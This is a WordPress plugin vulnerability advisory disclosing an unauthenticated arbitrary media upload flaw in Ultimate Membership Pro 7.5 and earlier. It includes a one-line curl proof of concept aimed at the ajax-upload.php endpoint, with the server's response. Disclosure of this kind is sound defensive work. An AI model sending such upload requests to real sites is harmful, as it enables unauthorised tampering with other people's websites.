WordPress Plugin Vulnerabilities

Ultimate Membership Pro <= 7.5 - Arbitrary media upload

Description

The ajax-upload.php endpoint doesn't check for the current user's capabilities (or that they are even logged in), so we can do a few things we shouldn't be able to do:

Without any credentials, you can simply POST the image file in the field ihc_file and it'll store it for you:

~$ curl -F "ihc_file=@some-image.png" https://vulnerable.host/wp-content/plugins/indeed-membership-pro/public/ajax-upload.php
{"id":20,"url":"https:\/\/vulnerable.host\/wp-content\/uploads\/2019\/01\/some-image.png","secret":"81b3ce5c8991c26f067a6d32c1cf66ff","name":"some-image.png","type":"other"}

Typical WP media upload rules apply so YMMV on further exploiting this, but if nothing else you probably don't want random media uploaded to your site.

Proof of Concept

Affects Plugins

References

Miscellaneous

Original Researcher
James Fraser
Submitter
fwaggle
Submitter twitter
Verified
No

Timeline

Publicly Published
2019-02-26 (about 7 years ago)
Added
2019-05-27 (about 6 years ago)
Last Updated
2020-02-07 (about 6 years ago)

Other